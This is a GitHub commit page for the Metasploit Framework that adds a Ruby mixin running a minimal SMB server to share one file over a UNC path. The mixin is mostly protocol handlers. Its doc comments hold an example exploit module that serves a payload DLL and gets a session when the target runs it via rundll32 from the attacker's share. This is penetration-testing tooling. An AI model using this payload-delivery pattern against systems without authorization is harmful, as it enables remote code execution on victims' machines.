Skip to content

Commit 1c064f6

Browse files
committed
Land rapid7#3074, @0x41414141 SMB Share mixin
2 parents 64fd818 + c7c5270 commit 1c064f6

28 files changed

+4577
-1050
lines changed

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@
3232
require 'msf/core/exploit/smb/client/authenticated'
3333
require 'msf/core/exploit/smb/client/psexec'
3434
require 'msf/core/exploit/smb/server'
35+
require 'msf/core/exploit/smb/server/share'
3536
require 'msf/core/exploit/ftp'
3637
require 'msf/core/exploit/tftp'
3738
require 'msf/core/exploit/telnet'

lib/msf/core/exploit/smb/server.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -133,11 +133,18 @@ def smb_error(cmd, c, errorclass, esn = false)
133133
pkt = CONST::SMB_BASE_PKT.make_struct
134134
smb_set_defaults(c, pkt)
135135
pkt['Payload']['SMB'].v['Command'] = cmd
136-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
136+
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
137137
if esn
138-
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
138+
pkt['Payload']['SMB'].v['Flags2'] =
139+
CONST::FLAGS2_UNICODE_STRINGS +
140+
CONST::FLAGS2_EXTENDED_SECURITY +
141+
CONST::FLAGS2_32_BIT_ERROR_CODES +
142+
CONST::FLAGS2_LONG_PATH_COMPONENTS
139143
else
140-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
144+
pkt['Payload']['SMB'].v['Flags2'] =
145+
CONST::FLAGS2_UNICODE_STRINGS +
146+
CONST::FLAGS2_32_BIT_ERROR_CODES +
147+
CONST::FLAGS2_LONG_PATH_COMPONENTS
141148
end
142149
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
143150
c.put(pkt.to_s)
Lines changed: 297 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,297 @@
1+
# -*- coding: binary -*-
2+
require 'rex/socket'
3+
require 'rex/proto/smb'
4+
require 'rex/text'
5+
require 'rex/logging'
6+
require 'rex/struct2'
7+
require 'rex/proto/smb/constants'
8+
require 'rex/proto/smb/utils'
9+
require 'rex/proto/dcerpc'
10+
11+
module Msf
12+
module Exploit::Remote::SMB::Server
13+
# This mixin provides a minimal SMB server sharing an UNC resource. At
14+
# this moment it is capable to share just one file. And the file should
15+
# live in the root folder "\\".
16+
#
17+
# @example Use it from an Auxiliary module
18+
# require 'msf/core'
19+
#
20+
# class Metasploit3 < Msf::Auxiliary
21+
#
22+
# include Msf::Exploit::Remote::SMB::Server::Share
23+
#
24+
# def initialize
25+
# super(
26+
# 'Name' => 'SMB File Server',
27+
# 'Description' => %q{
28+
# This module provides a SMB File Server service
29+
# },
30+
# 'Author' =>
31+
# [
32+
# 'Matthew Hall',
33+
# 'juan vazquez'
34+
# ],
35+
# 'License' => MSF_LICENSE,
36+
# 'Actions' =>
37+
# [
38+
# ['Service']
39+
# ],
40+
# 'PassiveActions' =>
41+
# [
42+
# 'Service'
43+
# ],
44+
# 'DefaultAction' => 'Service'
45+
# )
46+
# end
47+
#
48+
# def run
49+
# print_status("Starting SMB Server on #{unc}...")
50+
# exploit
51+
# end
52+
#
53+
# def primer
54+
# print_status("Primer...")
55+
# self.file_contents = 'METASPLOIT'
56+
# end
57+
# end
58+
#
59+
# @example Use it from an Exploit module
60+
# require 'msf/core'
61+
#
62+
# class Metasploit3 < Msf::Exploit::Remote
63+
# Rank = ExcellentRanking
64+
#
65+
# include Msf::Exploit::EXE
66+
# include Msf::Exploit::Remote::SMB::Server::Share
67+
#
68+
# def initialize(info={})
69+
# super(update_info(info,
70+
# 'Name' => "Example Exploit",
71+
# 'Description' => %q{
72+
# Example exploit, the Server shares a DLL embedding the payload. A session
73+
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
74+
# from the target.
75+
# },
76+
# 'License' => MSF_LICENSE,
77+
# 'Author' =>
78+
# [
79+
# 'Matthew Hall',
80+
# 'juan vazquez'
81+
# ],
82+
# 'References' =>
83+
# [
84+
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
85+
# ],
86+
# 'Payload' =>
87+
# {
88+
# 'Space' => 2048,
89+
# 'DisableNops' => true
90+
# },
91+
# 'Platform' => 'win',
92+
# 'Targets' =>
93+
# [
94+
# ['Windows XP SP3 / Windows 2003 SP2', {}],
95+
# ],
96+
# 'Privileged' => false,
97+
# 'DisclosureDate' => "Mar 02 2015",
98+
# 'DefaultTarget' => 0))
99+
#
100+
# register_options(
101+
# [
102+
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
103+
# ], self.class)
104+
#
105+
# deregister_options('FILE_CONTENTS')
106+
# end
107+
#
108+
# def primer
109+
# self.file_contents = generate_payload_dll
110+
# print_status("File available on #{unc}...")
111+
# end
112+
# end
113+
module Share
114+
require 'msf/core/exploit/smb/server/share/command'
115+
require 'msf/core/exploit/smb/server/share/information_level'
116+
117+
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
118+
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
119+
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
120+
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
121+
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
122+
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
123+
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
124+
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
125+
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
126+
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
127+
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
128+
129+
include Msf::Exploit::Remote::SMB::Server
130+
131+
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
132+
133+
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
134+
CONST::FLAGS2_EXTENDED_SECURITY |
135+
CONST::FLAGS2_32_BIT_ERROR_CODES |
136+
CONST::FLAGS2_LONG_PATH_COMPONENTS
137+
138+
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
139+
CONST::CAP_LARGE_WRITEX |
140+
CONST::CAP_LARGE_READX |
141+
CONST::CAP_PASSTHRU |
142+
CONST::CAP_DFS |
143+
CONST::CAP_NT_FIND |
144+
CONST::CAP_LOCK_AND_READ |
145+
CONST::CAP_LEVEL_II_OPLOCKS |
146+
CONST::CAP_STATUS32 |
147+
CONST::CAP_RPC_REMOTE_APIS |
148+
CONST::CAP_NT_SMBS |
149+
CONST::CAP_LARGE_FILES |
150+
CONST::CAP_UNICODE |
151+
CONST::CAP_RAW_MODE
152+
153+
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
154+
CONST::SMB_WRITE_ACCESS |
155+
CONST::SMB_APPEND_ACCESS |
156+
CONST::SMB_READ_EA_ACCESS |
157+
CONST::SMB_WRITE_EA_ACCESS |
158+
CONST::SMB_EXECUTE_ACCESS |
159+
CONST::SMB_DELETE_CHILD_ACCESS |
160+
CONST::SMB_READ_ATTRIBUTES_ACCESS |
161+
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
162+
CONST::SMB_DELETE_ACCESS |
163+
CONST::SMB_READ_CONTROL_ACCESS |
164+
CONST::SMB_WRITE_DAC_ACCESS |
165+
CONST::SMB_WRITE_OWNER_ACCESS |
166+
CONST::SMB_SYNC_ACCESS
167+
168+
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
169+
CONST::SMB_READ_EA_ACCESS |
170+
CONST::SMB_EXECUTE_ACCESS |
171+
CONST::SMB_READ_ATTRIBUTES_ACCESS |
172+
CONST::SMB_READ_CONTROL_ACCESS |
173+
CONST::SMB_SYNC_ACCESS
174+
175+
# @!attribute share
176+
# @return [String] The share portion of the provided UNC.
177+
attr_accessor :share
178+
# @!attribute path_name
179+
# @return [String] The folder where the provided file lives.
180+
# @note UNSUPPORTED
181+
attr_accessor :path_name
182+
# @!attribute file_name
183+
# @return [String] The file name of the provided UNC.
184+
attr_accessor :file_name
185+
# @!attribute hi
186+
# @return [Fixnum] The high 4 bytes for the file 'created time'.
187+
attr_accessor :hi
188+
# @!attribute lo
189+
# @return [Fixnum] The low 4 bytes for the file 'created time'.
190+
attr_accessor :lo
191+
# @!attribute file_contents
192+
# @return [String] The contents of the provided file
193+
attr_accessor :file_contents
194+
195+
def initialize(info = {})
196+
super
197+
198+
register_options(
199+
[
200+
OptString.new('SHARE', [ false, 'Share (Default Random)']),
201+
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
202+
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
203+
], Msf::Exploit::Remote::SMB::Server::Share)
204+
end
205+
206+
# Setups the server configuration.
207+
def setup
208+
super
209+
210+
self.path_name = '\\' # TODO: Add subdirectories support
211+
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
212+
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
213+
214+
t = Time.now.to_i
215+
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
216+
217+
# The module has an opportunity to set up the file contents in the "primer callback"
218+
if datastore['FILE_CONTENTS']
219+
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
220+
else
221+
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
222+
end
223+
end
224+
225+
# Builds the UNC Name for the shared file
226+
def unc
227+
"\\\\#{srvhost}\\#{share}\\#{file_name}"
228+
end
229+
230+
# Builds the server address.
231+
#
232+
# @return [String] The server address.
233+
def srvhost
234+
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
235+
end
236+
237+
# New connection handler, executed when there is a new conneciton.
238+
#
239+
# @param c [Socket] The client establishing the connection.
240+
# @return [Hash] The hash with the client data initialized.
241+
def smb_conn(c)
242+
@state[c] = {
243+
:name => "#{c.peerhost}:#{c.peerport}",
244+
:ip => c.peerhost,
245+
:port => c.peerport,
246+
:multiplex_id => rand(0xffff),
247+
:process_id => rand(0xffff),
248+
:file_id => 0xdead,
249+
:dir_id => 0xbeef
250+
}
251+
end
252+
253+
# Main dispatcher function. Takes the client data and performs a case switch
254+
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
255+
#
256+
# @param cmd [Fixnum] The SMB Command requested.
257+
# @param c [Socket] The client to answer.
258+
# @param buff [String] The data including the client request.
259+
# @return [Fixnum] The number of bytes returned to the client as response.
260+
def smb_cmd_dispatch(cmd, c, buff)
261+
smb = @state[c]
262+
263+
pkt = CONST::SMB_BASE_PKT.make_struct
264+
pkt.from_s(buff)
265+
#Record the IDs
266+
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
267+
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
268+
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
269+
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
270+
271+
case cmd
272+
when CONST::SMB_COM_NEGOTIATE
273+
return smb_cmd_negotiate(c, buff)
274+
when CONST::SMB_COM_SESSION_SETUP_ANDX
275+
word_count = pkt['Payload']['SMB'].v['WordCount']
276+
if word_count == 0x0d # Share Security Mode sessions
277+
return smb_cmd_session_setup_andx(c, buff)
278+
else
279+
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
280+
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
281+
end
282+
when CONST::SMB_COM_TRANSACTION2
283+
return smb_cmd_trans2(c, buff)
284+
when CONST::SMB_COM_NT_CREATE_ANDX
285+
return smb_cmd_nt_create_andx(c, buff)
286+
when CONST::SMB_COM_READ_ANDX
287+
return smb_cmd_read_andx(c, buff)
288+
when CONST::SMB_COM_CLOSE
289+
return smb_cmd_close(c, buff)
290+
else
291+
print_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
292+
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
293+
end
294+
end
295+
end
296+
end
297+
end
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
module Exploit::Remote::SMB::Server
5+
module Share
6+
module Command
7+
require 'msf/core/exploit/smb/server/share/command/close'
8+
require 'msf/core/exploit/smb/server/share/command/negotiate'
9+
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
10+
require 'msf/core/exploit/smb/server/share/command/read_andx'
11+
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
12+
require 'msf/core/exploit/smb/server/share/command/trans2'
13+
end
14+
end
15+
end
16+
end
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
module Exploit::Remote::SMB::Server
5+
module Share
6+
module Command
7+
module Close
8+
9+
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
10+
# of an object associated with a valid FID.
11+
#
12+
# @param c [Socket] The client sending the request.
13+
# @param buff [String] The data including the client request.
14+
# @return [Fixnum] The number of bytes returned to the client as response.
15+
def smb_cmd_close(c, buff)
16+
send_close_res(c)
17+
end
18+
19+
# Builds and sends an SMB_COM_CLOSE response.
20+
#
21+
# @param c [Socket] The client to answer.
22+
# @return [Fixnum] The number of bytes returned to the client as response.
23+
def send_close_res(c)
24+
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
25+
smb_set_defaults(c, pkt)
26+
27+
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
28+
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
29+
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
30+
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
31+
32+
c.put(pkt.to_s)
33+
end
34+
end
35+
end
36+
end
37+
end
38+
end

0 commit comments

Comments
 (0)